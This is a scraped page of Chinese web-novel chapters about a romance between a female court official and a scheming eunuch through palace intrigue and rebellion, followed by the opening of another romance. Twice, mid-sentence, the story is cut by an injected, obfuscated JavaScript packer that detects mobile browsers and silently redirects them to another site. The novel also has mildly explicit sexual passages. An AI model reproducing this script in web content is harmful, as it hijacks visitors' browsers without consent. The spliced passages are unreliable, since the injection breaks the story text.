宫里除了吴兆,没人知晓阮芳庭和我的关系。所以总像偷情一样,他喜欢腻着我,一见面就要紧紧抱住,然后把一整天要说的闲话全给说完。那时节柳絮飘散,我和阮芳庭其实谁都看不清前路。我告诉他等我做出政绩,就求皇帝将阮芳庭赐给我。而阮芳庭只笑盈盈地点头,很相信我的样子,但很快又说他也在内省厂试着找门路,总有一天能自己走到我身边。 我们两个都有一些哄着对方别放弃的心态,但对于未来,能确定只有先活着,先努力活着这个目标。 只不过,我没有阮芳庭动作快,在翰林院第二年,我刚升为正六品的侍讲,在皇帝面前才混了个脸熟。阮芳庭似乎已经能在内省厂和吴兆过几个回合的招。每次朝会,阮芳庭和吴兆接引百官入承仙门,我站在后排,眯眼透过刺目的日光,远远望着阮芳庭的背影,也不禁感慨,他真是个意气风发的美人。而皇帝也渐渐地信任起这个知情识趣的小太监,偶尔我在为皇子皇女讲读经史时,也会碰到阮芳庭来宣示皇帝的旨意。不过多是慈母心怀,有时是鼓励,有时是几盘难得的点心和水果。所以皇子皇女也很喜欢阮芳庭,会主动牵他的手要抱,喜欢捏着他的脸再感叹一句真好看。 阮芳庭对孩子没什么耐心,只是装得好脾气,每次来送东西,临走前都会找由头将我也喊走。我跟着他一前一后恭敬地走到逼仄的宫道,还没抬头,阮芳庭就变戏法似的从怀里掏出帕子,掀开后是几颗饱满的水晶葡萄。 “这是乌兹国进贡的水果吧,好难得能保鲜到现在。”我慢吞吞地剥开一颗填进嘴里,看着阮芳庭笑眯眯的狡猾模样,就知道肯定是从圣上给皇子们的赏赐里偷拿的。 我又剥开一颗递给阮芳庭,他摆摆手说不爱吃,却又黏糊地凑在我唇边偷亲。我叹气,官帽都被他撞歪了,只好揽着阮芳庭的细腰靠在墙上,树荫笼罩着,我捏着阮芳庭的下巴,一颗颗葡萄碾碎在纠缠的唇齿间,清新香甜。 沉默间抚上阮芳庭洇红的脸颊,树上夏蝉长嘶,我忍不住笑着说:“有时候还真怀疑你是妖精变的,从十六岁相识到现在,怎么还一年胜过一年的貌美?”怀里的美人没有回答我,他气急地揽住我的脖子又亲,还嘟囔着:“若真是妖精,就合该寸步不离地缠着你,哪像现在,想和你睡觉都找不到时间。” “你若是妖精,那等我老了死了,你还是俏生生一朵娇花。估计到时候我坟头都要气绿......” “李新蝉!”揽着我的胳膊收紧,阮芳庭眼里升起怒意,唇瓣被咬得更红,好似揉烂樱桃涂就的艳色。他盯着我,直到风撩动树荫,光影明灭,淌过青年媚丽的眉目。 很久之后,我还一直记得,那天万物困倦的午后,阮芳庭一本正经地威胁我:“你要死了,我也就没了。李新蝉,因为你活着,所以我才活着。” 后又一年,京都深秋,新党改革失败,内省厂联合锦衣卫和北镇抚司,冲进翰林院和六部缉拿新党官员。当时我作为韩博士的学生,也被关进诏狱。那夜的惨叫声没停下过,文臣风骨在刑具前也扛不住三鞭下去。我环着膝盖缩在墙角,估摸着天将要亮,牢房狭小的窗子露出鸭青白的颜色。李荷花女士肯定要急疯了,我有些担心今日她的猪肉铺还能不能开........心里还想着哪条街哪户人家今日还等着猪头肉作席面,一阵急切的脚步声打断了我的胡思乱想。 阮芳庭撞开门闯进来,身后的下属没见过他这样,愣在门口没敢进来。他眼底洇着血丝,将要走到那扇月色中,却又猛地停下脚步,钉在原地,目光落在我身上打量许久。阮芳庭沉下眉眼,抬手点了点我,语气漠然地开腔:“这个可是韩世修的学生?拎出去另辟一间牢房单独审问。” 身后的同僚大骂起走狗鹰爪,又质问阮芳庭为何只敢对女官下手,可是心思腌臜不怀好意?他原本神色淡漠,只站在门口等我起身。而当同僚抬手将我拽到身后时,阮芳庭绷直了身子,手指抚上腰间的佩剑,眉头紧蹙,将要抽刀前我却侧身挡住同僚,走到门口,狼狈地抬起脸朝着阮芳庭笑了笑,“督公,带路吧,我跟你们走。” 到了尽头的牢房,阮芳庭命下属等在审讯室,吩咐完推门进牢房,他说的第一句话就是:“方才那人为什么拉你?李新蝉,他觊觎你?”熬了一夜,身体精神都已经到了极限,我瘫坐在草堆里,只沉默地看着艳煞桃李的新任厂督,奔波一夜也没有消减他的颜色,连颊边垂下的碎发都勾着撩人的风月。 我知道自己好色,所以见他总生欢喜,后又爱他,于是见面时就又生出一日胜过一日的欢喜。可这一刻我的心瑟缩着,审讯室的哀嚎声还在继续,而阮芳庭却只是凶蛮地计较我的目光和注意。我知道他聪敏,所以共情能力差,我也知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125190|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他命途多舛,所以仇视一切善恶不分。但这一刻,鲜血流出来,我才真真切切地感受到,面前的爱人,更贴切地说,合该是一条花纹美丽的毒蛇。 谈不上失望,我只是心里漫着雾,很茫然地向他解释,又听他保证在新党之事结束后,就接我平安出狱。我点头,任凭阮芳庭脱下外衣将我拢到怀里。他又在喋喋不休,一会说吴兆与刘贺此次联手围剿新党,背后其实是皇权授意,叫我不要热血上头掺和进去;一会又软下语气安抚道在狱中会派人专门给我送爱吃的饭菜和零嘴;最后阮芳庭又说会派人给李荷花女士保平安,说完将脸蹭着我,眉眼弯弯的,像个讨肉吃的波斯猫。 但阮芳庭不是猫,他是条会吃人肉的蛇。我现在有些怕他,身子下意识后倾,而又在他疑惑看过来时,合上眼将他吻住。毒蛇的唇齿香软缠绵,沉溺着我的温柔梦。但现在,该是书生醒过来的时候了。 新党改革十年,而销毁成果只需要一个秋天。我在太学读书时,韩博士问我要立什么志。我半知半解地回答,庸常之中,微芒不朽,我立的是成人之志。而那天韩博士的目光被暮色晕染,那样的复杂和慈爱,他朗声在笑,又似要纾解平生郁气,最终却只是拍着我的肩膀,说:“你不会止步如此的,李新蝉,你总归会要承担你的造化。” 李新蝉,你要立的是——成圣之志。 立冬那日,天亮前京城落了场初雪,新党官员被清算,韩世修被贬官流放到崖州,所著诗书均列为禁书一并销毁。我沉默地听着吴兆宣旨,又在老师脚戴铁链踉跄爬台阶时。躬身走了几步,挡在老师身前。冰雪吹进衣领,又吹得官帽歪斜。我伏跪在仙台门的长阶上,目光所及,看不清皇帝,看不清吴兆,甚至看不清阮芳庭。眼前只剩一条冰刀雪刃的成圣之路,我磕头请旨,以韩世修学生的身份,代其去崖州守城。 在乌仁巷过完除夕,我先是送老师离京回乡,城门口,老师坐在狭窄的马车里,努力探出身子看我一遍又一遍。我笑着将李荷花女士腌的腊肠塞给他。马车扬鞭时,京城里又刮起风雪,守城的士兵骂骂咧咧地跺脚取暖,路上行人纷纷避让。我逆着风雪,睁不开眼睛,心里却忽而豁达,牵着老师的手攥紧又松开,我独身站定,拥住满怀风雪,笑着将学生的临别赠言送与他。 谁言天公不好客,漫天风雪送一人。 成圣的路上,有志之士从不孤单。 过完除夕,初五我去领赴任崖州的授职凭证。皇帝特赦我在家中休整准备,过完春节在赴任。所以好些时日未曾进宫,又听说内省厂吴兆和阮芳庭斗法,宦官内部局势紧张。故而算起来那日仙台门请命之后,我竟然是再也没见过阮芳庭。 其实我清楚知道我爱阮芳庭,我绝无可能再像爱他一样去爱另一个人,从十六岁到二十三岁。是世道造就了阮芳庭的狠毒与冷漠,站在各自的立场,我们是敌人,但我无法怪他。谁都没有错,可故事到这一步,就该是死局。 去吏部领完文书和凭证,我顺着原路往宫外走,道路两旁的雪已经被扫干净,宫人行色匆匆,将要走出这条逼仄的宫道时,一双冰凉的手拖住我,像幽冥殿里爬出的艳鬼,阮芳庭身影伶仃,眼中血丝猩红,一只手提着剑,一只手又胡乱擦着脸上的泪水。 “李新蝉,你说过不丢弃我的,你睡我的时候明明说过的!” 他只怕吼得别人听不见,已经有朝臣和宫人往这边赶来,我捏住阮芳庭手里的剑刃,问他:“所以你是要杀了我吗?” “你以为我不.......你疯了李新蝉!” 我抬起剑刃横在颈间,但还未贴到皮肉,剑柄就被阮芳庭扔开,他狠不下心,便又流了许多颗眼泪,伸手掐住我的脖子抵在宫墙上。巡逻的侍卫还有围观的宫人看到这一幕,纷纷叫嚷着督公疯了,竟敢公然杀害朝臣。侍卫上前来要将我们撕开,阮芳庭的唇瓣蹭过我耳廓,和年少时一样柔软、酥麻。 分开的瞬间阮芳庭混着眼泪威胁我:“欺骗我的、抛弃我的,都是你。李新蝉,别想让我放过你......” 我顺着宫墙跌在地上,抚着脖颈,阮芳庭没有用力,我却咳出一串串眼泪,只是低着头,没人能看见。 没有告诉阮芳庭,没来得及,其实我想说......我去赴我的命,你报你的仇。阮芳庭,如果有可能,其实我比你更想,让你变成花,变只猫,变条蛇都没关系。那样我就可以坦率地爱你,全部爱都给你。我会把你团成一团放在胸口,阮芳庭,那样我和你,就再也不分开了。 4. 和蛇蝎美人太监成为宿敌后(四) 崖州瘴气厉害,毒物也多。我送回京城给李荷花女士的家书,虽然每封都在报平安,但实际上任半年,我断断续续就生了好几场病。通判府里的医师不顶事,只知道给我艾灸灌凉茶。有次实在病得难受,夜间爬上屋顶,我望着触手可及的一轮明月,颧骨漫洇开病态的红晕。对着寂寥的夜色,我开口尝试说:“你们内省厂的探子都身手矫捷,所以我不确定你们在哪,但按着阮芳庭的气性,只怕不会放过我。如果能听见,赶紧回去告诉他一声。再不送药材和医师来,就这辈子都不能亲手杀我了。” 夜色中并没有回应,煎熬一夜,第二天清晨又发起热,浑身红痒,泡在药浴中已然无法起身。医师哭丧着脸说要不去请巫女来做法。我听完死死扒着浴桶边,若不是没有力气,非要起身掀她一身水。而也是这将要支撑不住的时候,衙门后厨的吴阿婆兴奋地禀告说,做饭时她还在想灶王爷祈祷让知府的病赶紧好起来,结果刚祷告完,起身到院子里就看到一堆药材还有药膏药丸,这不就是神仙显灵了? 我拿起药包上绑的单子,每剂药的功效和用法都细致列了出来,瘦金体的字纤巧锋利,恰像背后执笔之人一样。我听完吴阿婆还在拉着医师感谢神仙显灵,我忍不住轻笑,折好药单放入贴身的香囊里。 “不是神仙显灵,这次啊,”我买了个关子,又在他们都看过来时开玩笑道:“这次分明是妖精显灵。” “妖妖妖妖........妖精,那、那张纸上妖精说了什么啊!”医师阿湘是个痴迷巫蛊的小姑娘,此刻完全被吊起好奇心,眼巴巴看着我。 “能说什么,就说.........” 阮芳庭就说——你要敢死,李新蝉,我定去崖州将你挖出来鞭尸!! 到崖州第二年总算适应了当地气候,但遇上规整海军和邻岛流窜的海盗进犯,我只能硬着头皮学习战船知识和海军布阵,几次在海上差点遇险,但好在命大,被浪拍回岸上,最后的战役也有惊无险地取胜,威慑了邻国各岛,保证海域暂时的平静。 这一年海战,有意思的是,竟然在海上捡到了安和公主,彼时我尚不认识她,但看她面孔是本国女子,便命军士们将其先送回衙门安置。没想到那女子醒后,半夜竟让我去见她。见面之后安和也是开门见山,直接表情身份并且告诉我乌兹内乱,她趁机杀了丈夫,刺伤下一任继承人,最后靠着在乌兹的老情人借战船逃到崖州附近的海域。快要被缉拿时恰好碰上我领兵与邻国海寇交战,乌兹国内乱战,此时不愿对外惹事,便没再穷追不舍。于是安和弃船逃跑,最后被我救了上来。 其实听她说完我已经有些相信了,眼前这个三十多岁的女人,眉眼间虽有疲态,但目光凛冽恍如寒刃,还真是天生的野心家。但女人身上什么凭证都没有,我自然不敢轻易相信,毕竟这事算起来,简直就和“我秦始皇,V我五十助我复国”一样荒唐。 于是我不动声色,思索之后问她:“你知道阮芳庭是谁吗?” 女人蹙了蹙眉,似乎在从回忆里检索,最后扬眉一笑,语气轻蔑道:“哦,那个小太监呀,我记得,漂亮得像个妖精似的。吴兆那老东西拿他拉拢我,可惜了,还没睡到那小美人,就被押去乌兹和亲了,怎么?”说到这安和忽而凑近我,目光探究,又玩味地捏了下我的脸说:“难道知府大人睡过阮芳庭?滋味如何呀?” 神魂颠倒,醉生梦死。 我脑海不受控制地浮现出霞色浮动的床幔、脚踝颤动的铃铛、缠绕的发丝,最后是那双意乱.情迷的眼睛.......别、别不要我,李新蝉........等、等等我,我们马上就能在一起了.........恨你,好恨你啊,李新蝉........ 最后我也没有正面回答安和的调侃,只是从往事中确定了她的身份,便将她秘密藏匿在衙门,毕竟涉及到乌兹国,这件事还需要发密函禀告皇帝。可想而知,皇帝自然对乌兹内乱很感兴趣,发来的函报中也只寥寥几句提到安和公主,并且还是要我以安和公主受辱的名字讨伐乌兹。 至于密函的内容,我并没有防着安和,她看后也没有多大情绪,只是意料之中一般冷笑起来,她继续伏在案前画着乌兹的军防布置和地图,只不过油灯将要燃尽时,安和却忽然问我,好像个无知的小女孩一样,“小李大人,如果你离家多年,再回家的话,你娘会怎么做?” “我娘估计会高兴得杀四五头猪大摆宴席吧。” “是啊,”安和此时提笔看着我,墨水滴在白色的衣袖上,她眼神莫名空洞,摇着头自言自语:“是啊,那为什么.......我娘却一点都不开心呢?” 和乌兹交战,主要还要靠海军,京城里送来一批粮草和军械,而一道而来的还有个特派的监军。那人带了一小队人马,比大部队先四五日抵达了崖州。因为是突然情况,我当时还在海边监造军船,听到下属说宫里派的监军已经到了。于是衣服都没换,裤脚还挽在膝盖上,穿着草鞋就慌忙跑回了衙门。 可还没去会客厅,我就撞见阿湘扛着药箱匆匆往后院跑,我拽住她,问清楚才知道是京城里来的监军赶路太急,加上西南的瘴气毒虫,因此刚进崖州就病倒了。我命阿湘去准备药浴,又翻出之前阮芳庭从京城给我送来的药膏药剂,小心捧着走到监军下榻的厢房。虽然不知道皇帝这次派的是谁,但只怕不是个善茬。 站在门口想好说辞,我推门进去就看见一个清瘦身影,背着门口,只穿了青色的绸缎里衣,腰身处空荡荡的,露出的手腕脚踝也是细瘦伶仃。他戴着面帘,听见门响也没出声,只余光颤了颤。 我一时间倒难以形容此刻的感觉了,全凭心意走到床边,一步一步软绵绵的像踩在棉花上,像在梦里。我沉默地掰过他的脸,抬手掀开面帘时,却被他推开,垂着眼说:“我的脸过敏,现在很难看。” “再难看还能有你十六岁初见那年你抓烂脸难看吗?”我忍不住说,下一秒就被阮芳庭踹了下膝盖。还是那双漂亮的眼睛,我忍不住靠近,这一次掀开了他的面帘,又挤出药膏,俯身细致地涂抹在阮芳庭脸上。 他的手指一圈圈缠着我垂在胸前的发丝,百无聊赖的,好似某个我们年少时在太学度过的午后。阮芳庭故意挑衅说:“李新蝉,你知道你晒黑了吗?” “嗯。”他说话时动了下身子,我捏着阮芳庭的下巴又将他桎梏在两腿之间。他泄了气,乖乖地仰着脸,又说:“你知道崖州很热很破,压根就不是个好地方吗?” “知道。” 我敷衍地应承,指肚涂到他眼尾时,却摸到一片湿润,阮芳庭唇瓣战栗,紧紧抿着,他的目光里含着许多委屈和恨,可开口,阮芳庭又说:“李新蝉,那你知不知道,我被你丢在京城,已经想你想得快要死掉了........” 与乌兹国的战役胶着了将近半年,最后攻陷了乌兹海防,临时管控住国都后,便由朝廷派人谈判接管。而皇帝又下旨召我回京,进都察院任右佥都御史一职。安和公主也由我护送回京,路上她说皇帝此番对我明升暗降,是怕我在崖州发展势力拥兵自重,还真是个疑心不死的老狐狸。 我没有认真在听她说什么,反而在摇摇晃晃的马车里又想起阮芳庭,在崖州这半年,他一直不曾与主动谈起京中的局势,只喜欢说崖州既是流放之地,那么作对流放的野鸳鸯,才该是正事儿。阮芳庭确实也这么做了,在崖州没有插手我的政务,而是忙着在厨房忙活一日三餐,特意从京城带的食材,甚至还有李荷花女士腌的腊肠。他喜欢坐在衙门门口的台阶上等我,日暮时烟紫色的云彩拉扯又纠缠,阮芳庭捧着脸像朵枯萎的花,而远远从街道尽头听见我喊他,赤脚提着鱼虾朝他跑过来时,阮芳庭就又舒展明艳起来,他张开怀抱,弯腰抱住我,像贤惠的妻子,也像我的田螺王子,阮芳庭会说:“饭好了,李新蝉,我在等你一起吃饭。” 和乌兹开战前夕,我睡前刚送走安和,还在看她画的军防图,夜色里阮芳庭却推开门进来,吹灭了床头的烛火。他爬上床坐到我退上时,我才在朦胧月色中看清楚,他一捧泼墨似的乌发披散在腰间,只穿着水红石榴裙,雪白的皮肤和艳丽的布料相衬,都化作他眼波流转的媚色。 阮芳庭抓着我的手伸到群.子里,平淡地说:“我今天里面没穿。”我当然知道他的意思,手指在艳红的石榴裙里摩挲着,笑了笑问:“芳芳,你有没有觉得,你现在很像担心丈夫上战场一去不回,所以抓紧最后的时候在肚子里留种传宗接代的妻子呀?” 阮芳庭扬起雪白的长颈,姿态愈发舒展,睫羽低垂,压碎泪光揉在瞳孔里:“我不需要传宗接代,李新蝉,我就是能生,也不会要孩子还分走你的爱。我今夜只是要你记住........” 后颈被扣住,我的脸埋入熟悉的香馥之中,美丽的毒蛇一圈一圈盘到我身上。玉瘦香浓,檀深雪散。 阮芳庭轻叹一声,掉了滴眼泪,说:“我要你记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125191|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住,我说过的,李新蝉,你活着,我才活着。” 好在,我活着,阮芳庭也活着。他提前回京述职,已经走了大半个月,临走前因为有刘贺的探子在,阮芳庭只在护卫的拥簇下,遥遥朝我颔首致意。而回府后,又有一桌我在京城时爱吃的饭菜,都是阮芳庭半夜起来提前做好的。我坐下来吃,但尝不出来味道,因为眼泪流进嘴里,怎么嚼都是苦的。 我想起十九岁在太学时,我对阮芳庭说:“等我考完科举,我就娶你。” 如果顺利的话,我想我也该和阮芳庭做了六年的夫妻,我们会有一个小小的家,家里会有亲人有爱人,有庭前的琵琶树和庭后的杨槐柳。可如今的二十六岁,满桌残羹冷炙,满朝豺狼虎豹,我看不到........我早就看不到我和阮芳庭的家在哪了....... 安和见我靠在那想事,卷起书敲了下我的额头,马车已经行至京城外的莫愁山。安和斟了两杯茶,举起一杯挑眉笑看我。 “我本来是以为韩世修的学生,定然是像他一样的小顽固。但李新蝉,现在我已经看穿你了。”她喜欢上手捏我的脸,又凑过来,附耳说:“我知道你想要什么,但现在,我只问你........” 茶杯递在我面前,几片细叶沉浮,水纹顺着马车颠簸一圈圈散开。耳畔,有道声音叩问:“小李大人,你敢不敢要?” ------------------------------------- 今日在早朝我又照例参了内省厂,站我左边的同僚是从外地新调入都察院的,见到传闻中手段阴狠的阮芳庭目光不善地朝我们看过来,吓得将脑袋埋得更低,偷偷拽我的袖子不断小声警告:“够了够了,阮芳庭往这边看过来了.......他眼神好瘆人.......估计在琢磨着怎么将你剥皮抽筋呢,你仔细些吧.......” 我抬头直愣愣朝阮芳庭望过去,正抓住他的目光,于是弯唇笑了笑,拨着腰间的流苏,什么话都没说。 “看就看呗,阮芳庭爱看就让他看。”我扯回袖子,留给同僚一个英勇无畏的侧脸,心里想:阮芳庭能琢磨什么?还不是琢磨着在床上勾引我! 下朝后又在都察院处理完公务,我原是打算去武侯街附近找个摊子,边吃边等阮芳庭回府,等他换身衣服再回乌仁巷吃饺子。但半路又被许之冲劫去了茶楼,说是请我吃面,其实就是为了研究我在崖州主持改造的战船。这小子是老师回乡办学后收的弟子,自己争气考到了翰林院。在朝中也一直以我的师弟的名号示外,尤其在我回京后,黏得愈发紧。 许之冲算是天才类的学生,读书比我通透,但也容易较劲。现在好不容易下朝,点了两碗面,还没吃一口,他已经喊了我不下几十声师姐,并且拿着图纸问了我好些个细节。好不容易应付完,我搅了搅坨住的面,刚挑起一筷子还没送进嘴里。房间门又被推开,阮芳庭换了一身云锦飞梭袍,走进这小破包厢里,像只华丽的孔雀。他大冬天还拿着把扇子,掩面笑了笑,走到我和许之冲中间,目光刀刃般刮过,又抿唇阴阳怪气地说:“都下朝了,还师姐师弟叫得那样亲热。知道的是你们师出同门,不知道的,还以为是什么新的调情手段呢。” “你小子想得好脏啊。”我抬手夺了阮芳庭的扇子,无语地回敬一句,然后在许之冲惊慌的目光中,抓住阮芳庭的手腕起身往门口走:“恶人就得恶人磨,师弟,我去教训一下这个奸佞,让你看看什么叫骨气。恕不奉陪了。” 我话说的正气凛然,抓着阮芳庭在三楼又开了间上等包厢。一进门,眉宇间还是严肃的神色,但双手已经熟练地去解这奸佞的腰带,亲着他的脸,将阮芳庭抱坐在梳妆台上,铜镜映出我们交缠的手指。他启唇吐出一截湿红,勾着我又故意说:“小李大人,你好凶啊,咬得我好疼。” “小李大人,你师弟知道你正被奸佞勾着腰吗?” “小李大人,不许和其他人凑那么近,不然奸佞也会难过的,嗯?” 他还在说,发丝披散下来,沾染汗湿的水雾,阮芳庭脚踝系的铃铛随着我的动作轻响,混着他的调笑,吵得我无法专心亲他。只手探过潋滟春波,我解开从小戴着的平安扣,压在阮芳庭舍间,他将玉扣整个.裹.住,只露出一截红线,黏着一捧雪白中的花瓣。 阮芳庭终于安静了,我抱着他,他痴痴地笑,勾紧我的腰,含混地说:“咬.......我终于咬住李新蝉了。” 5. 和蛇蝎美人太监成为宿敌后(完) 安和是疯子,我也知道,但没想过她动作那样快。回京第二年冬,我刚升的左副都御史,新官服都还没领到,安和就已经勾结各路亲王造反了。皇帝被她囚在寝殿,内省厂和皇城军内部被分裂,皇帝的亲信诸如吴兆刘贺之流,这些年也已经在内斗中被边缘化。剩下一个阮芳庭被抓进诏狱,那夜他以为自己真的要死,被捕时仍不甘地朝安和吼道:“杀我可以,但我要见李新蝉,李新蝉在崖州救过你的命,安和,她救过你的命啊,你别杀她,我会把内省厂和先皇的秘密都告诉你,我什么都可.......” “这也能算筹码?阮芳庭,”安和打断他的谈判,盔甲上血迹未干,孤身站在成仙台上,宫殿燃起的火海为女人的眉眼镶了层浓烈的光。她挥手命人将阮芳庭带回诏狱,又叹了一声说:“李新蝉为了你出的筹码,可贵重得多。” 在宫中帮安和处理完诏书和玉玺之事,已经天亮了,剩下的工作我交给了许之冲,他也熬了一夜,但显然还处于亢奋当中。我来不及换衣服,去找安和要玉牌和亲卫时,她给了我,但还是忍不住问:“李新蝉,走到这一步,后世再谈及你我,只怕会众说纷纭。你赌上身后之名,只为了个太监,真值吗?” 我在桌上顺了两颗橘子塞到袖子里,停在门口看着大殿上的新皇,她眉眼疲倦,但野心昭昭。烛光跳跃在我们的瞳孔中,我坦诚地说,最后一次把安和当好友:“我早年在太学读书,老师问我要成人还是成圣,我当时想成人。后来新党变革失败,一个个忠臣义士血溅长阶,那时我又立志成圣,挽救万民于水火。但经历过崖州三年,我想明白了,安和.........”我用比她更希冀的目光注视着她,烛火跳跃绵延成光,“我这一生要做的,是经历过光明与黑暗,底色却依旧清澈的人。而在圣人的时代,陛下,臣甘愿化成被历史巨浪淘尽的沙尘,铺在你的成圣之路上。” 平生第二次进诏狱,我走到最里间的牢房,刚推门进去,就被一个冰冷熟悉的怀抱箍住,阮芳庭自己形色狼狈,却焦急地检查我全身,确认没有受伤才终于哑声哭了出来。 他一直在哭,受了天大委屈一般,揉红的眼眶,泪珠一颗一颗地掉。阮芳庭问我是不是因为他才参与了安和的谋反,又不停道歉,他哀伤的泪眼,看着我说:“我不愿意的,李新蝉,你有气节有抱负,这些我不理解,但我知道那对你很重要。所以我爱你呀,李新蝉,我就爱你的气节也爱你的抱负,我不要你为了我放弃,我宁死也........” 我捏住阮芳庭的下巴,亲他的唇瓣,又去吻他的眼泪。阮芳庭瞳孔颤了颤,啜泣着要推开我,而我主动抱紧了他。我告诉了阮芳庭我的筹谋和计划,也告诉他我是真的相信安和能开创一个太平盛世。最后我抱着平静下来的阮芳庭,一扇晨曦倾泄拢在我们周身。 天亮了,我迟到许多年的话,终于告诉了我的心上人:“阮芳庭,是我,是我想要一个小小的家,家里有亲人有爱人,有庭前枇杷树庭后的杨怀柳。最重要的,我小小的家里,要有你。” “李新蝉.......”阮芳庭又哭了,最艳丽的毒蛇拔去獠牙,仍要紧紧地缠着我,眉心落下一滴泪,而后是他的唇。 “你怎么现在才说.........你终于说了........” 新皇即位,当年新党改革之法又被再次翻出来修整,流放各地的新党之臣也被召回京中,重授官职。原本陛下授意韩世修重回太学担任祭酒,但他请旨在民间修办学院,广纳平民子弟,期望做到真正有教无类。陛下尊重老师的志愿,又特批了资金协助他办学。在朝中陛下也很快组建自己的凤阁,我则升至正二品左都御史,终于在昭化街有了一处三进三出的大宅子。 皇位更迭并没有对百姓的生活产生多大影响,甚至因为放宽了对商业的限制,现在乌仁巷一带都摆起夜市了。我今天下值要去帮李荷花女士炸酥肉,她在灶台前生火,还不忘嘱咐我赶紧弄完,一会去铺子接芳芳时,把冰在盆里的桃子也带去给他吃。 我故意说李荷花女士偏心眼,她就拿擀面杖敲了我一下,说:“你把芳芳带回家那天,又小心又期待,看着我的眼睛都要哭了。我当时问你,如果我因为他是个太监,不许你们在一起。你会放弃他吗?你还记得你当时怎么说吗?” 当然记得,我当时攥着阮芳庭的手一点点捏紧,面色惨白,但死不放开,只是对妈妈说:不会,我会痛苦地爱着他,也爱着你呀,妈妈。 李荷花女士捞起炸好的小酥肉,倒在准备好的篮子里,递给我之后又去水盆里将桃子捞出来,擦干净水,才暖融融地笑开说:“我记得你那天的纠结与郑重。李新蝉,其实娘一开始会有些介意芳芳的身份。但我从来都不是按规矩办事的女人。阮芳庭是太监,但在这个身份之前,他是个苦命人,是个聪明漂亮的孩子,是个比我还爱你的人。” “乖乖,娘和芳芳一样,两个深爱你的人,是舍不得让你痛苦的。这两颗桃子,一个是给你吃的,一个给芳芳。” 阮芳庭出宫后在录花街开了间脂粉铺,店面不大,但他的那张脸,站在门口就是活招牌。所以生意很好,虽然我总是吐槽他虚假营销。但也要承认美貌也的确是一种生产力。 就像现在,我拎着一篮子小酥肉,怀里揣着桃子,刚进屋看到阮芳庭正对着镜子试色新调制的口脂,我就没忍住,趁着店里没人,关上门走到他身后,直接掰着他的脸亲了一口。 阮芳庭无语地抬眼,却又软下腰肢靠着桌沿,张开唇瓣放我进去。直到口脂被晕花,我舔了舔自己的唇 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做完这些,我再抬头,阮芳庭已经快走到街尾,不知道他又在生什么气,我跑过去拉他的手,阮芳庭站定,转身时我才看清他眼尾曳开的湿红。 “李新蝉,你很喜欢孩子吗?你是不是想要孩.......” “我是喜欢孩子。”打断阮芳庭的话,我抬手刚摸上他的脸,泪珠就一串一串地滴落。他张口又崩溃地要道歉,我只好在街上就抱紧他,安抚地揉着他的脖子,无奈道:“我喜欢孩子,就和我喜欢花草树木一样。不会有介入他们生命的冲动。阮芳庭,我喜欢你和喜欢其他一切相比,是不一样的。” 残阳将天空燎开青紫色的斑痕,路人侧目,看我们一眼又笑着走开。我和阮芳庭浸在这平凡的烟火里,一字一句将心意说给他,一点一点地展平他被泪水泡皱的心脏。 “我喜欢你,是要将我的命与你的命绑在一起。我会共担你的悲喜,接受你的阴暗与狠毒。阮芳庭,这世上有很多花,但我只把你栽回了家。” 夜市热闹起来,一盏盏灯笼依次点亮,叫卖的摊贩吆喝声被夜风带得很远。我揉了揉肚子,阮芳庭已经不哭了,恢复了一贯的凛然冷艳,只有眼尾鼻尖沁出点残红,楚楚惹人怜。我顺势牵着他的手,要去吃醉香阁的烤鸭。但阮芳庭没动,反而拽着我转了个弯,往家去走。 “我刚领的俸银,我有钱,我要吃烤鸭!” 阮老板脚步不停,侧头只睨了我一眼,唇瓣微微弯起,冷笑:“回家给你做饭,穿那件绯红镂空的纱裙。” 好,我不再反抗,扑倒阮芳庭怀里搂他的腰。夜风拂开交叠的衣袖,我说:“还有套烟粉色的,后半夜穿好不好?” 阮芳庭骂我色鬼,然后牢牢牵着我的手,我们一起回家。 是我们的,小小的家。 ——完—— 6. 被阳光忠犬哥哥囚禁之后(一) 阴暗拧巴心理创伤妹妹×热情开朗阳光玉玉症哥哥 宋庭阳是我哥哥,阳光俊朗,人群中永远闪闪发光的太阳。所有人都说我们兄妹是两个极端,因为我向来沉默阴郁游离在人群之外。当年知情的邻居总是看着我哥牵我上学的背影,感慨爸妈收养了个珍珠,自个却生了个鱼目。 是的,宋庭阳是在我走丢后的第三年,妈妈从孤儿院收养回来的孩子。我总是对宋庭阳说:你是踩着我的人生发光发亮的,哥哥,你永远都欠我的。宋庭阳也这么觉得,所以他无微不至地照顾我,比爸爸妈妈更溺爱我,永远注视我关怀我,甚至于........宋庭阳会在闷热的午后,脱掉校服,满脸绯/红潮/湿地跪在我书桌旁,告诉我:雎雎,我愿意当你的狗。 可是........太温驯的狗,就没有报复的快感了。我不明白自己想要什么,疲倦地看着宋庭阳汗湿的脸颊贴在我裙子上。他青涩的身体敞开任我探索,似乎就打算这么献上一辈子。直到妈妈撞破这一切,陈年的伤疤又被掀起,我被送到国外攻读心理学,同时斩断了与宋庭阳的一切联系。 直到六年后回国,妈妈说:你哥哥向我坦白,他是个同性恋,你觉得和你有关系吗? 有关系吗?我不知道,但现在宋庭阳捆住了我的手,旧年家属院的楼房里,他还跪在那张书桌前,成熟的青年眼眶泛红,弯腰抵住我的膝盖,开口像有泣音:哥哥不做任何人的恋人,雎雎,哥哥只当你的狗,好不好? 宋之雎×宋庭阳 